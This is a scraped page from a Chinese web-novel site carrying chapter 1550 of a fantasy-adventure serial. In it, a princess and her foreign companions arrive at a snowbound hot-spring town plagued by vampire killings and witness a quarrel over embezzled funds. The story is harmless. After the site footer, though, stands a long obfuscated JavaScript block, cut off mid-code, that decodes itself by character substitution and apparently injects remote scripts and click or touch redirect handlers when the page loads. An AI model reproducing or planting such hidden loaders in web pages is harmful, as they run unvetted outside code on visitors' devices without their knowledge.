首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第1550章 温泉镇

    <特别鸣谢:喜欢秋子梨的元赤于1日送出的大神认证,本章七千字,二合一,特此加更!>
    这声音一出,众人齐齐抬头。
    只见二层石室门口探出一个少年身子,约莫十五六岁年纪,身穿一件深紫色织金锦袍,外罩白狐皮镶边的短氅,腰间悬着一柄细长的银鞘佩剑,剑柄上镶着颗拇指大小的红宝石,火光一映,亮得灼眼。
    他面容极为英俊,眉目与茜茜有无六分相似,鼻梁高挺,下颌棱角分明,只是比茜茜多了一股年少气盛的锋利劲儿,一双眸子在幽暗中炯炯有神,手里攥着一盏铜烛台,烛火被穿堂风吹得摇摇晃晃,将他的影子投在身后的石壁上,忽大忽小,狰狞如鬼魅。
    茜茜仰着头,借着那一点烛火看清楚那张脸,惊呼一声:“盖佐?”
    “姐姐?!”那少年同样一惊,手中烛台一颤,险些脱手。
    他愣了足有数息,才猛地反应过来,转身便往楼梯口冲去。
    奔到近前,一把抓住茜茜的手,声音里又是惊喜又是焦急:“姐姐!你……你不是离家出走了吗?怎么……你知不知道哥哥和母亲多担心你?母亲这些日子日日以泪洗面,你半点消息也无,我们差点就要派兵去寻你了!”
    茜茜被他攥得手疼,却也不抽回,只拿另一只手拍了拍他的手背,面上含笑,拿出姐姐的姿态来,柔声道:“我能有什么事?不过是跟哥哥吵了一架,心里不痛快,便出去散散心罢了。
    后来走了远路,去了趟罗斯,半道上遇到流兵冲散护卫,好在这几位朋友恰好路过,将我从乱军里救了出来。这不,我带着他们回来,好好感谢一番。”
    众女听茜茜故意掩饰身份,心下了然,都乐得配合,纷纷上前,齐声道:“见过小王子!”
    盖佐这才把目光从姐姐脸上移开,扫了一圈众人,压低了声音凑到茜茜耳边:“姐姐!他们……怎么都是东方人的模样?”
    “呃……是!”茜茜转身一步,侧身指着杨炯,神色坦然道,“这位是来自东方的曾阿牛先生,这些是他的妻子和护卫。
    他是华夏商贸总会的会长,此番来欧陆是为了同各国洽谈丝绸瓷器通商之事的,我正好从中牵个线,引见给哥哥。”
    “华夏?!”盖佐眼睛猛地瞪圆,神色大变,“华夏人打来了?他们不是还在中亚吗?怎么就到了匈牙利境内了?”
    杨炯面上不动声色,微微拱手,语气从容:“小王子过虑了。在下乃商贾之身,手无寸铁,万里奔波只为求财,岂有他意?
    贵我两国隔着万里之遥,便是要打仗,也轮不着我一个小小商会来打头阵不是?”
    盖佐怔了怔,被这番话说得哑口无言,又见杨炯腰间无刀、身上无甲,身后几个女子虽然佩着长短兵器,但人数不过七八,也确实不像能打仗的模样,这才稍稍松了口气,又回头去看茜茜,脸上满是疑惑:“可……可他分明……”
    “好啦!”茜茜笑着打断他,伸手在他头顶拍了一记,拿出长姐的气势来,“你不在冬宫待着,跑到这圣嘉布修道院来做什么?这地方阴森森的,你胆子倒不小。”
    盖佐被她一拍,神色顿时垮了下来,面上那点少年王子的锐气一扫而空,取而代之的是一脸的凝重与疲惫。
    他松开茜茜的手,叹了口长气,声音低了下来:“姐姐……你不知道,几天前那场暴风雪,封了山口,也切断了岗哨和镇子的联系。我派人去联络,谁知到了哨所一看,守卫全死了,脖子上两个窟窿,血都被抽干了,死相惨极。”
    他说话时喉结上下滚动,声音发紧,显然那场景至今仍让他心悸:“这还了得,我当即跟乔多夫召集士兵,将圣嘉布修道院层层守住,免得那东西从密道摸进镇子来。
    可谁知道……谁知道后来陆陆续续的,又有士兵在夜里被咬死了,死法一模一样!
    军心乱得厉害,马上就要哗变。
    更要命的是,这消息不知怎的传到了温泉镇里,百姓们慌了神,没出几天,镇上也开始有人被吸血鬼咬死了!
    一夜之间,便死了三个!
    我实在没办法,只能带三百亲卫来守这修道院,让乔多夫领着剩下的兵回镇,日夜巡逻,安抚人心。”
    盖佐越说越急,额上青筋都隐隐跳了起来,显然这些日子被这桩事压得喘不过气。
    茜茜听他说完,沉默了好一阵。
    半晌,她才开口道:“三百岗哨守军,全死了?”
    “全死了!”盖佐攥紧了拳头,又松开,“一个不剩!后来我们守这圣嘉布修道院,又死了十八个兵!镇中百姓前前后后加起来,已经死了不下二十多人了!”
    “那……你有没有派人去通知哥哥?”茜茜急声追问。
    盖佐长叹一声,满脸无奈:“姐姐!我何尝不想通知?可暴风雪把镇外三座石桥都压断了,积雪封路,人和马都过不去!镇长兰德正组织百姓抢修,可这鬼天气,少说也得半个月才能修通!”
    “那你在这儿……”茜茜看着他身上的佩剑,神色复杂。
    盖佐苦笑一声,抬手揉了揉眉心,少年老成地叹道:“没人守啊!温泉镇是我的属地,这出了人命案子,闹出了吸血鬼,我若不来,岂不是叫人说我不恤民情?
    到时候传到哥哥耳朵里,他又该说我不担事了。
    我只能领兵来守,三百人压在这,好歹能镇住场面。我若带着人退回去,别说百姓要闹,光是那些兵,怕就得上演兵变。”
    他这般说着,忽然察觉到自己话说得急了,便深吸一口气,放缓了语气:“姐姐,我叫人护送你们去冬宫歇息吧。这修道院太诡异,夜里冷风嗖嗖的,我总觉得瘆得慌,不安全。”
    “你不一起回去?”茜茜蹙眉。
    盖佐摇头,少年脸上竟有几分孤勇的神色:“我若回去,这三百人没人压着,人心惶惶,只怕会出事。
    姐姐你是知道的,这些兵都是临时从镇里征来的民兵,不是正经骑士,见了血便腿软,我得留在这。”
    茜茜凝视他片刻,眼中露出几分欣慰之色,点了点头:“那你小心些。”
    盖佐应了一声,转身招呼卫队长,吩咐道:“你带一队人,把公主和这几位贵客安全送到冬宫去,路上警醒些。”
    卫队长是个满脸胡茬的中年汉子,应声领命,点了十名士兵,举着火把护着众人进入小镇。
    茜茜临行前回头看了盖佐一眼,嘱咐道:“你自己当心,别逞强。若有不对劲的,立刻退守,莫要硬拼。”
    盖佐一挺胸膛,扬了扬手中的银鞘佩剑:“姐姐放心!我好歹也是匈牙利王子,身上流着父亲的血,岂能叫吸血鬼吓破了胆?”
    他嘴上说得豪迈,眼底却分明有一丝不易察觉的瑟缩,到底还是个十五六岁的少年。
    茜茜深深看了他一眼,不再多言,转身跟着卫队快步离去。
    出了修道院大门,漫天风雪扑面而来。
    天地之间白茫茫一片,大团大团的雪片子从铅灰色的云层里往下砸,密密匝匝,打在脸上生疼。
    方才进山时还只是零星飘雪,此刻却已是铺天盖地的暴雪,风从喀尔巴阡山的缺口灌进来,卷着雪粒抽在人身上,如刀割一般。
    几步之外便看不清人影,脚下的路被积雪覆盖得严严实实,众人只能跟着卫队长深一脚浅一脚地往前挪。
    温泉镇的街道上空荡荡的,一个人影也无。
    家家户户门窗紧闭,门下的风灯被吹得摇摇欲坠,昏黄的灯光透过结冰的窗户漏出来,将街面上的积雪染成一团团暖色的光斑。
    偶尔有一队巡逻的士兵从街角拐出来,领头的人扬声喝问一句口令,卫队长答了,那边便沉默地点了点头,两队人交错而过,连多余的一句话都没有。
    整座镇子笼罩在一种压抑至极的沉闷之中,连狗叫声都听不见半声,只有风裹着雪在屋檐间穿梭时的呜咽,一阵紧似一阵。
    杨炯紧了紧领口的火狐毛领子,将大氅裹得更严实了些,凑近茜茜身边,低声道:“茜茜,没听你说过你还有个弟弟啊。”
    茜茜下意识地看了一眼走在前面的卫队长,确认隔着几步风雪声大,听不真切,这才压低了声音道:“我们一母同胞三人,但事情有些曲折。
    哥哥亚诺出生的时候,母亲难产,差点一尸两命,所以母亲自小便不大喜欢他。而弟弟盖佐生下来便长得像父亲,眉眼五官活脱脱一个模子刻出来的,母亲便对他极其偏爱。”
    她顿了顿,声音又低了几分:“父亲去世那年,母亲极力主张由盖佐继承王位,说哥哥亚诺身子骨弱、理政太刚硬,不如弟弟仁厚得人心。
    可叔叔和朝中重臣都不肯答应,毕竟哥哥从小便跟着父亲打理政务,大大小小的事办了几百件,父亲在世时亲口说过哥哥就是接班人,母亲争不过朝臣和贵族,最终还是哥哥顺利登了基,母亲为此气得病了半个月。”
    茜茜说到这里,苦笑了一声:“可母亲仍不死心,常常以‘爱护幼弟’的名义,逼哥哥给盖佐封地、拨钱粮、赐爵位。
    哥哥不愿跟母亲撕破脸,总是依了。
    后来母亲变本加厉,竟要哥哥把全国军队的统领权交给盖佐,可盖佐连一天兵都没带过,哪里懂得调兵遣将的事?
    哥哥说了无数好话,母亲依旧不依不饶。
    最后实在没办法,是我出的面协调,把盖佐送来温泉镇做领主,让他守着这东境山口,也算是个正经营生。母亲虽然不悦,可也不好再闹了。”
    杨炯恍然,转头看了一眼风雪中渐渐模糊的修道院轮廓:“难怪你要瞒着他我的身份,看来也是个不省心的小子。不过方才他那般亲卫守山的样子,倒是比他母亲想的出息些。”
    茜茜长叹一声:“是长大了些。至少作为王室成员,能挡在第一线,不论出于什么心思,总归是进步了。”
    杨炯沉默了一会儿,踩着厚雪随队伍前行。
    卫队长领着众人穿过温泉镇的主街,拐过一座石桥,一座巨大的宫殿在风雪中渐渐显出轮廓来。
    温泉镇冬宫依山势而建,高高低低错落有致,灰白色的石墙覆着一层白雪,在夜色中泛着沉沉的冷光。
    整座宫殿占地极广,正面一排拱形落地窗里透出温暖明亮的灯火,将门前的石阶照得清清楚楚。
    宫门两边各立着一排铁铸的烛台,火苗在风里拼命摇晃,却始终不曾熄灭。屋顶的烟囱里冒着厚厚的白烟,被风压得贴伏在屋脊上,旋即散作一团。
    踏入宫门,热气扑面而来,暖意融融,与外头的冰天雪地判若两个世界。门厅里铺着厚厚的波斯地毯,墙上挂着几幅巨大的油画,画中皆是头戴王冠的匈牙利先君,目光威严地俯视着来者。
    壁炉里火烧得正旺,柴薪噼啪作响,将整个大厅映得通红。
    一名身着黑色长袍的老者快步迎了上来,银白的头发梳得一丝不苟,面容清癯,目光清正,正是冬宫的总管约翰。
    他一见茜茜,面上便露出真切的喜色来,快步上前躬身行礼,声音温和沉稳:“公主殿下!您回来了!这些日子我日夜悬心,可算把您盼回来了!您脸色不大好,想必是路上受了风,我这就叫人去煮热红酒。”
    茜茜见到他,也松弛了几分,笑盈盈道:“约翰叔叔,好久不见。我没事,就是路上累了些。”
    约翰又朝杨炯等人微一颔首,礼数周全却不谄媚:“几位贵客远道而来,请先入厅歇息,我这就安排房间。”
    他说话不紧不慢,步履稳当,明明只是几句寻常的寒暄,却给人一种极为可靠踏实的感觉。
    众人进了大厅,脱下湿透的大氅和斗篷,围坐在壁炉前烤火。
    大厅里暖意融融,壁炉里松木烧得噼啪作响,橘红色的火焰跳跃着,将墙上几幅匈牙利先君的油画像映得忽明忽暗。
    杨炯伸着冻僵的双手凑近火苗,指节间暖意缓缓渗进去,竟是说不出的舒坦。
    众女并排坐在一张长绒软椅上,各自捧着约翰总管亲手递来的热红酒,浅浅地啜饮着,酒气混着肉桂和蜂蜜的甜香丝丝缕缕地散开来,被冻僵的身体,瞬间暖了不少。
    茜茜坐在壁炉另一侧的一张高背椅上,肩头搭着一条厚厚的羊毛毯,约翰总管亲自给她端来一杯加了姜汁的热牛奶。
    她捧着杯子,抬头望向窗外漫天飞舞的大雪,眉间凝起浓浓忧色。
    正此时,大门外忽传来一阵急促的脚步声。
    紧接着,宫门被猛地推开,一股裹着雪沫的寒风呼地灌了进来,将壁炉里的火焰吹得猛地一矮。
    一个圆滚滚的身影大步进入大厅,浑身上下披着一层白花花的积雪,头顶光秃秃的没戴帽子,脑门上被雪水浸得发亮,像一颗刚从冰水里捞出来的冬瓜。
    此人约莫五十岁年纪,生得矮矮胖胖,腰围比寻常两个壮汉捆在一起还粗些,身上裹着一件深棕色羊毛长袍,腰间系着条金线绣边的宽皮带,皮带扣上镶着一块拇指大的绿松石,被厅中烛火一晃,滴溜溜地转着光。
    他一进门便扑通一声单膝跪地,双手扒拉着袍角使劲抖了抖雪,满脸堆笑,眼角的褶子叠了七八层,一双小眼睛在肥肉缝里亮得惊人。
    “公主殿下!臣可算把您盼回来了!您怎么也不先派个人通传一声,臣好带着镇上所有贵族到山口迎接呀!这大冷天的,您受了多少罪!”他说话时声音又尖又软,带着一股子阿谀奉承的黏糊劲儿,一边说一边膝行往前蹭了两步,作势要来捧茜茜搁在膝上的手。
    茜茜微微后仰,避开了他凑过来的油腻手指,面上却仍是温温和和的笑意,语气平稳:“兰德镇长,你辛苦了。这暴风雪封了路,你不在镇上安抚百姓,倒惦记着来给我请安,有心了。”
    兰德镇长的脑袋点得像鸡啄米,连声道:“应该的!应该的!公主殿下到了温泉镇,臣便是在雪窝子里冻死了也得爬过来伺候!
    您不知道,这几日镇上人心惶惶,多亏了臣昼夜不休地四处奔走安抚,百姓们才没有闹出大乱子来。臣一听说公主来了,生怕您受了惊吓,连袍子都顾不上换,就跑了来……”
    他正说着,身后的大门处又传来一阵沉重而急促的脚步声,紧接着一个高大魁梧的身影大步跨进门来。
    来人身量极高,脑袋几乎触到了门楣,虎背熊腰,一张方脸棱角分明,下颌上留着一圈浓密的褐色短髯,须茬根根如铁针般扎在腮边,眉骨高耸,双眼精光四射。
    他刚一进门便凌厉地扫了一圈厅中众人,最后落在跪在地上的兰德身上,鼻子里重重哼了一声:“兰德!你倒是腿快!”
    此人正是冬宫侍卫长乔多夫,一身的铁甲被雪水浸透,甲片边缘结着一层薄冰,走起路来甲叶哗哗作响,每迈一步,脚下那双铁靴便在地砖上磕出“咚”的一声闷响。
    他也不行礼,大步走到厅中站定,双手叉腰,下巴微扬,目光直直逼视着仍跪在地上的兰德,嗓音洪亮:“修桥的事你拖了几天了?暴风雪封路,三座石桥全断,你嘴里说正在组织抢修,可人呢?镇上的青壮劳力一个都没见你动,你到底在打什么主意?”
    兰德被他劈头盖脸一顿喝问,面上那层谄媚的笑纹僵了僵,可转瞬又堆了起来,他扶着肥硕的膝盖慢腾腾站起身,拍了拍袍子上的灰尘,转头冲乔多夫嘿嘿一笑:“侍卫长,这话就不对了。暴风雪把路面封得严严实实,一脚踩下去没到胯骨,你让那些民夫怎么干活?
    况且如今镇上闹吸血鬼闹得人心惶惶,白天还好些,一到了晚间,谁家敢放人出门?我倒是想派人修桥,可你得先问问那些百姓答不答应上工!”
    乔多夫浓眉一竖,一步逼上前去,胸膛几乎撞上兰德那张油光满面的胖脸。
    他咬着牙,声音压得极低却字字淬着火星:“兰德!你别以为你那些勾当能瞒得过我的眼睛!你嘴上说着缺人手、缺工钱,可我派人去查了,你库房里存着三年前批下来的石料钱,足足八千第纳尔!你倒是说说,那些钱如今在哪儿?
    还有去年冬季的兵器采购款,你报给国王的账目上列着换了三千杆新矛、一千铁盾,可我亲自去武库点过数,根本不足数,你是不是贪污了?”
    兰德脸上的笑瞬间凝固,眼里闪过一丝慌乱,可随即又被一股子气急败坏的恼羞成怒盖了过去。
    他那张胖脸猛地涨成猪肝色,肥厚的手指哆嗦着指向乔多夫的鼻尖,声音陡然拔高了八度:“你放屁!采购款都是盖佐殿下亲笔签的名,拨下来的每一个第纳尔都入了公账,库房里的东西也是按着数目配发的!你今日当着公主殿下的面这般胡说八道,是不是想说盖佐殿下也在跟我合伙儿贪污?你好大的胆子!”
    乔多夫被这一顶大帽子扣下来,非但不退让,反倒把胸膛挺得更直了,下巴上的短髯根根倒竖,怒目圆睁:“我不管谁签的字!我只问你这桥到底什么时候能修通!山口外面三百岗哨全死了,镇子里也出了人命,消息送不出去,援兵进不来,你在这儿一天天地拖延,等吸血鬼把全镇的人都吸干了,你贪污再多钱也没命花!”
    兰德气得浑身肥肉直颤,两手攥着袍角,喉咙里嗬嗬作响。他张了几次嘴想反唇相讥,可瞪着一双通红的绿豆眼,却一时找不出更狠的话来。
    “好了!”
    一声清叱陡然在大厅中炸开,将满室的嘈杂瞬间压了下去。
    茜茜公主从高背椅上站起身来,肩头的羊毛毯滑落在地,她一手端着那杯半满的热牛奶,另一只手五指微张,朝两人虚虚一按,面上的笑意早已褪得干干净净,眼眸寒凉如水:
    “贵客当面,你们一个是镇长,一个是侍卫长,吵成这般模样,也不嫌丢人!”
    两人同时噤声。
    兰德缩了缩脖子,那满腔的怒气像被扎了一针的气囊,噗地瘪了下去,垂下脑袋搓着两只胖手,嘴里含含糊糊地哼了一声。
    乔多夫则重重别过脸去,铁靴在地砖上碾了半圈,两只拳头攥得死紧,胸膛里呼呼喘着粗气,却终究没有再开口顶撞。
    厅中一时静了下来,壁炉里的火苗噼啪地跳着,窗外风雪呜咽的声音便显得格外清晰。
    过不多时,一阵稳健的脚步声从侧廊传来。
    约翰总管端着一张银托盘缓步走入,身后跟着一个身形微胖、鬓发花白的老女仆,穿着深灰色的粗布长裙,腰间系着一条雪白的围裙,面容温和而恭谨,低眉顺目地垂手站在约翰身侧。
    约翰朝茜茜微微躬身,将托盘上几只银盏轻轻放在案几上,温声道:“公主殿下,房间已经备好了,一楼东侧的那几间暖阁都已生了壁炉,床褥也重新换过,凯瑟琳会带几位贵客去歇息。”
    老女仆凯瑟琳便上前一步,朝众人屈膝行了一礼,声音和蔼:“几位贵客请随老婆子来,楼梯有些滑,仔细脚下。”
    茜茜将手里的热牛奶搁回案上,转头看了一眼杨炯,又扫过众女,唇边浮起一丝浅淡的笑意来,温声道:“先不着急!我的贵客们一路顶着风雪赶了这许久的路,身子怕是都冻僵了,我带他们先去泡泡温泉,解解乏再歇息也不迟。”
    约翰总管闻言,含笑颔首:“是!我这就让凯瑟琳将洗漱用的巾帕和干净衣物送过去,热红酒和点心也一并备好。”
    茜茜笑着摆了摆手:“辛苦约翰叔叔,你还是这般周到。”
    “不敢当,都是我分内之事。”约翰微微欠身,语气谦和而从容,旋即朝凯瑟琳递了个眼色。
    凯瑟琳会意,朝茜茜和众人再行一礼,转身便朝厨房而去。
    茜茜公主也不再看那两个仍旧大眼瞪小眼、各自憋着一肚子火气的男人,只轻轻拢了拢肩上重新披好的羊毛毯,侧过头来冲杨炯微微一笑:“走吧,曾会长!我们匈牙利的温泉在整个欧陆都是有名的,便是外头风雪再大,泡在池子里也跟春天一般暖和。你们一路辛苦,好生舒坦舒坦。”
    杨炯站起身来,将烤得发烫的指尖拢进袖中,笑着冲她拱了拱手:“那就恭敬不如从命了。”
    众女也纷纷起身,随着茜茜径往深宫而去。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 